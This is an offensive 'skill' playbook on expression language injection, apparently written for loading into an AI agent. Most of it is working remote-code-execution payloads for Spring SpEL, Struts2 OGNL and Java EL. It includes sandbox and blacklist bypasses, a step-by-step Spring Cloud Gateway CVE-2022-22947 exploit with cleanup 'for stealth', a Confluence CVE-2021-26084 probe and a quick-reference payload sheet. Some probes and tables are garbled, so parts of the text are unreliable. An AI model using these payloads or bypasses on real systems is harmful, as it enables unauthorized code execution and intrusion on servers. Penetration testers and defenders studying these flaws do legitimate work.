- SKILL: Expression Language Injection — Expert Attack Playbook
- AI LOAD INSTRUCTION
-
- Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass,
- _memberAccess
- manipulation, actuator abuse, and real-world CVE chains.
- 0. RELATED ROUTING
- ssti-server-side-template-injection
- for template engines (Jinja2, FreeMarker, Twig) — different attack surface
- jndi-injection
- when EL evaluation leads to JNDI lookup
- Key distinction
- SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes ( ${77} ) but diverge in exploitation. 1. DETECTION — POLYGLOT PROBES ${77} → 49 = SpEL, OGNL, or Java EL
{7*7} → 49 = SpEL (alternative syntax) or JSF EL
%{77} → 49 = OGNL (Struts2) ${T(java.lang.Math).random()} → random float = SpEL confirmed %{#context} → object dump = OGNL confirmed Disambiguation Response to ${77} Response to %{77} Engine 49 literal %{77} SpEL or Java EL literal ${7*7} 49 OGNL (Struts2) 49 49 Both may be active 2. SpEL (SPRING EXPRESSION LANGUAGE) Where SpEL Appears @Value("${...}") annotations Spring Security expressions ( @PreAuthorize ) Spring Cloud Gateway route predicates and filters Thymeleaf th:text="${...}" (when combined with ${...} preprocessing) Spring Data @Query with SpEL RCE via Runtime.exec $ { T ( java . lang . Runtime ) . getRuntime ( ) . exec ( "id" ) } RCE with Output Capture (Commons IO) $ { T ( org . apache . commons . io . IOUtils ) . toString ( T ( java . lang . Runtime ) . getRuntime ( ) . exec ( "id" ) . getInputStream ( ) ) } RCE with Output Capture (Spring StreamUtils)
{ new String ( T ( org . springframework . util . StreamUtils ) . copyToByteArray ( T ( java . lang . Runtime ) . getRuntime ( ) . exec ( 'whoami' ) . getInputStream ( ) ) ) } ProcessBuilder (alternative when Runtime is blocked) $ { new java . lang . ProcessBuilder ( new String [ ] { "id" } ) . start ( ) } Spring Cloud Gateway — CVE-2022-22947 Exploit via actuator to add malicious route with SpEL filter:
Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest Content-Type: application/json { "id" : "hacktest" , "filters" : [ { "name" : "AddResponseHeader" , "args" : { "name" : "Result" , "value" : "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}" } } ] , "uri" : "http://example.com" , "predicates" : [ { "name" : "Path" , "args" : { "_genkey_0" : "/hackpath" } } ] }
Step 2: Refresh routes to apply
POST /actuator/gateway/refresh
Step 3: Trigger the route
GET /hackpath
Response header "Result" contains command output
Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest POST /actuator/gateway/refresh SpEL Sandbox Bypass When SimpleEvaluationContext is used (restricts T() operator): // Try reflection-based bypass: $ { '' . class . forName ( ' java . lang . Runtime ' ) . getMethod ( 'exec' , '' . class ) . invoke ( '' . class . forName ( ' java . lang . Runtime ' ) . getMethod ( 'getRuntime' ) . invoke ( null ) , 'id' ) } 3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE) Where OGNL Appears Apache Struts2 — primary OGNL consumer Confluence Server — uses OGNL in certain request paths Any Java app using ognl.Ognl.getValue() or ognl.Ognl.setValue() Basic RCE %{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))} Struts2 Sandbox Bypass — _memberAccess Manipulation Struts2 restricts OGNL via SecurityMemberAccess . Classic bypass clears restrictions: %{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Struts2 OgnlUtil Blacklist Clear Later Struts2 versions use class/package blacklists. Bypass by clearing excludedClasses and excludedPackageNames : %{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))} Key Struts2 CVEs CVE Vector Payload Location S2-045 (CVE-2017-5638) Content-Type header %{...} in Content-Type S2-046 (CVE-2017-5638) Multipart filename OGNL in upload filename S2-016 (CVE-2013-2251) redirect: / redirectAction: prefix URL parameter S2-048 (CVE-2017-9791) Struts Showcase ActionMessage with OGNL S2-057 (CVE-2018-11776) Namespace OGNL URL path Confluence OGNL — CVE-2021-26084 Confluence Server allows OGNL injection via the queryString or action parameters: POST /pages/createpage-entervariables.action Content-Type: application/x-www-form-urlencoded queryString = %5cu0027%2b%7b3*3%7d%2b%5cu0027
URL-decoded: \u0027+{3*3}+\u0027
If response contains 9 → confirmed
Escalate to Runtime.exec for RCE
- JAVA EL (JSP / JSF) Where Java EL Appears JSP pages: ${expression} and
{expression}
JSF (JavaServer Faces): value and method bindings Custom tag libraries RCE Payloads // Java EL with Runtime: $ { Runtime . getRuntime ( ) . exec ( "id" ) } // Via pageContext (JSP): $ { pageContext . request . getServletContext ( ) . getClassLoader ( ) } // Reflection-based: $ { "" . getClass ( ) . forName ( "java.lang.Runtime" ) . getMethod ( "exec" , "" . getClass ( ) ) . invoke ( "" . getClass ( ) . forName ( "java.lang.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) , "id" ) } 5. DETECTION METHODOLOGY Input reflected and ${7*7} returns 49? ├── Java application? │ ├── Struts2? → Try %{...} OGNL payloads │ │ └── Check Content-Type injection (S2-045) │ ├── Spring? → Try T(java.lang.Runtime) SpEL │ │ └── Check /actuator/gateway (Spring Cloud Gateway) │ ├── Confluence? → Try OGNL via action parameters │ └── JSP/JSF? → Try Java EL payloads │ ├── Error messages reveal framework? │ ├── "ognl.OgnlException" → OGNL │ ├── "SpelEvaluationException" → SpEL │ └── "javax.el.ELException" → Java EL │ └── Blocked by sandbox? ├── OGNL: clear _memberAccess / excludedClasses ├── SpEL: reflection bypass for SimpleEvaluationContext └── Try alternative exec methods (ProcessBuilder, ScriptEngine) 6. QUICK REFERENCE
SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
OGNL with sandbox bypass:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027
Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x → SpEL in filter args POST /actuator/gateway/refresh